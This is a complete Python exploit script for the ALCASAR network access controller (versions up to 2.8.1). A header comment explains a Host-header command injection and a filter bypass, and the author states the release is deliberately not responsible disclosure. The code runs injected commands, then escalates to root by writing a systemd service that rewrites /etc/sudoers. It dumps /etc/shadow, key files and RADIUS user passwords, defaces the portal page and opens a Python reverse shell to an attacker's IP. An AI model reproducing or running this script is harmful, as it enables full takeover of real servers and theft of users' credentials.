ALCASAR 2.8.1 - Remote Code Execution

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
####
#
#    ALCASAR <= 2.8.1 Remote Root Code Execution Vulnerability
#
#    Author: eF
#    Date  : 2014-09-12
#    URL   : http://www.alcasar.net/
#
#    This is not a responsible disclosure coz' I have no sense of ethics and I don't give a f*ck.
#
#        db         88           ,ad8888ba,         db         ad88888ba         db         88888888ba
#       d88b        88          d8"'    `"8b       d88b       d8"     "8b       d88b        88      "8b
#      d8'`8b       88         d8'                d8'`8b      Y8,              d8'`8b       88      ,8P
#     d8'  `8b      88         88                d8'  `8b     `Y8aaaaa,       d8'  `8b      88aaaaaa8P'
#    d8YaaaaY8b     88         88               d8YaaaaY8b      `"""""8b,    d8YaaaaY8b     88""""88'
#   d8""""""""8b    88         Y8,             d8""""""""8b           `8b   d8""""""""8b    88    `8b
#  d8'        `8b   88          Y8a.    .a8P  d8'        `8b  Y8a     a8P  d8'        `8b   88     `8b
# d8'          `8b  88888888888  `"Y8888Y"'  d8'          `8b  "Y88888P"  d8'          `8b  88      `8b
#
#
# ALCASAR is a free Network Access Controller which controls the Internet consultation networks. 
# It authenticates, attributes and protects users' access regardless their connected equipment 
# (PC, smartphone, game console, etc.).
#
# I recently released an exploit for ALCASAR 2.8 (ALCASAR <= 2.8 Remote Code Execution Vulnerability Root).
# As a reminder, it was a trivial code execution via a unfiltered exec() call:
#
#   $pattern = preg_replace('/www./','',$_SERVER['HTTP_HOST']);
#   exec("grep -Re ^$pattern$ /etc/dansguardian/lists/blacklists/*/domains|cut -d'/' -f6", $output);
#
# A few days later, a new version corrects the vulnerability. Or maybe not...
#
# At first, this is how ALCASAR's developers present the previous vulnerability:
# 
# " A security hole has been discovered on ALCASAR V2.8 (only this version). This vulnerability allows a user "
# " connected on the LAN to retrieve a lot of data from the server. The ALCASAR team is testing few security  "
# " patches. A script that you could run on the active servers will be available on this forum ASAP. At that  "
# " time, the download version of ALCASAR will be incremented (V2.8.1) "
#
# ?!? This vulnerability allows a user connected on the LAN to *TOTALLY PWN* the server:
# Get a root shell, stop all services, sniff all connections, inject data in users' sessions, sniff passwords,
# bypass firewall rules, act as another user, etc.
# This is not just a matter of "retrieving a lot of data from the server".
#
# Not to alert users of real criticality of a vulnerability is a very serious lack of security.
# Lying by saying that the vulnerability only affects version 2.8 while it also affects version 2.7 is another
# one.
#
# Now, the patch itself: it tries to correct the vulnerability by filtering the vulnerable input:
#
# $pattern = filter_var($pattern, FILTER_VALIDATE_URL) == false ? "" : $pattern;
#
# WTF?!
# First, I think that the application no longer works. By default, filter_var() is going to accept an URL
# only if its scheme is valid:
#
#   $ php -r 'var_dump(filter_var("www.google.com", FILTER_VALIDATE_URL));'
#     bool(false)
#   $ php -r 'var_dump(filter_var("http://www.google.com", FILTER_VALIDATE_URL));'
#     string(21) "http://www.google.com"
#
# But... we cannot put http:// in the HTTP host field, the HTTP server won't let us...
# Dev, did you try your patch?
# Instead, to execute code, it's quite easy to bypass this filtering using "mailto:[email protected];cmd;"
# Service down, vulnerability still present: double fail.
#
# The privilege escalation in the previous exploit was using openssl, to gain reading and writing rights
# as root.
#
# The patch therefore removes openssl in the sudoers file (without changing the legitimate
# calls in the PHP code...). So let's use another method: systemctl is still callable via sudo...
#
# We can create a service with our command and start it as root:
#
# sudo systemctl link /tmp/pwn3d.service
# sudo systemctl start pwn3d.service
#
# Conclusion: triple fail.
#
# Wouldn't a "responsable de la sécurité des systèmes d'information d'un grand commandement" need a 
# little training on secure PHP development?
#
# On ALCASAR website:
#
# "The security of the portal has been worked out like a bastion in order to resist to different
# kinds of threat"
#
# LOLZ!!! Remote Root Code Execution does not seem to be part of these "different kinds of threat".
#
# ALCASAR is not built with security in mind. Apache user can sudo, there is no chroot, no separation,
# the PHP code is dreadful, some passwords are unnecessarily stored in plaintext, the function to 
# generate user password is weak, there are no system updates (kernel is out to date, from Jul 4 2013),
# etc.
#
# Development is not really open either: there is no bugtracker, no trac, no way to see what has been 
# patched, etc. If the elementary rules of open source development had been met, a user could have 
# prevented this 2.8.1 patch from being crap.
#
#
####

import sys, os, re, httplib

class PWN_Alcasar:

    def __init__(self, host):
        self.host = host
        self.root = False

    def exec_cmd(self, cmd, output=False):
        tag = os.urandom(4).encode('hex')

        cmd = 'bash -c "%s" 2>&1' % cmd.replace('"', '\\"')
        if self.root:
            cmd = 'sudo %s' % cmd

        wrapper = 'echo %s;echo %s|base64 -d -w0|sh|base64 -w0' % (tag, cmd.encode('base64').replace('\n',''))
        wrapper = wrapper.replace(' ', '${IFS}')
        headers = {
            'host' : 'mailto:[email protected];%s;#' % wrapper
        }

        c = httplib.HTTPConnection(self.host)
        c.request('GET', '/index.php', '', headers)
        r = c.getresponse()
        data = r.read()
        c.close()

        m = re.search(r'%s, (.*)\s</div>' % tag, data)
        if m:
            data = m.group(1).decode('base64')
            if output:
                print data
            return data
        return None

    def read_file(self, filepath, output=True):
        return self.exec_cmd('cat "%s"' % filepath, output=output)

    def read_passwords(self):
        self.read_file('/root/ALCASAR-passwords.txt')
        self.read_file('/etc/shadow')
        self.read_file('/usr/local/etc/digest/key_all')
        self.read_file('/usr/local/etc/digest/key_admin')
        self.read_file('/usr/local/etc/digest/key_backup')
        self.read_file('/usr/local/etc/digest/key_manager')
        self.read_file('/usr/local/etc/digest/key_only_admin')
        self.read_file('/usr/local/etc/digest/key_only_backup')
        self.read_file('/usr/local/etc/digest/key_only_manager')
        alcasar_mysql = self.read_file('/usr/local/sbin/alcasar-mysql.sh', output=False)
        if alcasar_mysql:
            m = re.search(r'radiuspwd="(.*)"', alcasar_mysql)
            if m:
                radiuspwd = m.group(1)
                sql = 'SELECT username,value FROM radcheck WHERE attribute like \'%%password%%\''
                self.exec_cmd('mysql -uradius -p\"%s\" radius -e "%s"' % (radiuspwd, sql), output=True)

    def edit_sudoers(self):
        service =  '[Unit]\n'
        service += 'Description=Just another ALCASAR lolcalr00t\n\n'
        service += '[Service]\n'
        service += 'Type=forking\n'
        service += 'KillMode=process\n'
        service += 'ExecStart=/bin/sh -c "sed -i s/BL,NF/BL,ALL,NF/g /etc/sudoers"\n'
        self.exec_cmd('echo %s | openssl base64 -d -out /tmp/Pwn3d.service -A' % service.encode('base64').replace('\n', ''))
        self.exec_cmd('sudo systemctl link /tmp/Pwn3d.service')
        self.exec_cmd('sudo systemctl start Pwn3d.service')
        if exploit.exec_cmd('sudo id').find('uid=0') != -1:
            self.root = True

    def reverse_shell(self, rip, rport='80'):
        payload = 'import socket,subprocess,os;'
        payload += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
        payload += 's.connect((\'%s\',%s));' % (rip, rport)
        payload += 'os.dup2(s.fileno(),0);'
        payload += 'os.dup2(s.fileno(),1);'
        payload += 'os.dup2(s.fileno(),2);'
        payload += 'p=subprocess.call([\'/bin/sh\',\'-i\']);'
        return self.exec_cmd('python -c "%s"' % payload)

    def lolz(self):
        old = 'http://www.wikipedia.org'
        new = 'https://www.youtube.com/watch\?v=Q-J0f1yF75Y'
        self.exec_cmd('sed -i s,%s,%s,g /var/www/html/index.php' % (old, new), True)

def usage():
    print 'Usage: %s host command (ip) (port)' % sys.argv[0]
    print '       "command" can be a shell command or "reverseshell"'
    sys.exit(0)
 
if __name__ == '__main__':

    print '#' * 80
    print '# ALCASAR <= 2.8.1 Remote Root Code Execution Vulnerability'
    print '# Author: eF'
    print '#' * 80

    if len(sys.argv) < 3:
        usage()
 
    cmd = sys.argv[2]
    if cmd == 'reverseshell':
        if len(sys.argv) < 5:
            print '[!] Need IP and port for the reverse shell...'
            sys.exit(0)
        rip = sys.argv[3]
        rport = sys.argv[4]

    exploit = PWN_Alcasar(sys.argv[1])
    print '[-] whoami (should be apache):'
    exploit.exec_cmd('id', output=True)
    print '[+] On the way to the uid 0...'
    exploit.edit_sudoers()
    print '[-] Got root?'
    exploit.exec_cmd('id', output=True)
    exploit.lolz()
    if exploit.root:
        print '[+] Here are some passwords for you (again):'
        exploit.read_passwords()
    if cmd == 'reverseshell':
        print '[+] You should now have a shell on %s:%s' % (rip, rport)
        exploit.reverse_shell(rip, rport)
    else:
        print '[+] Your command Sir:'
        exploit.exec_cmd(cmd, output=True)
    sys.exit(1)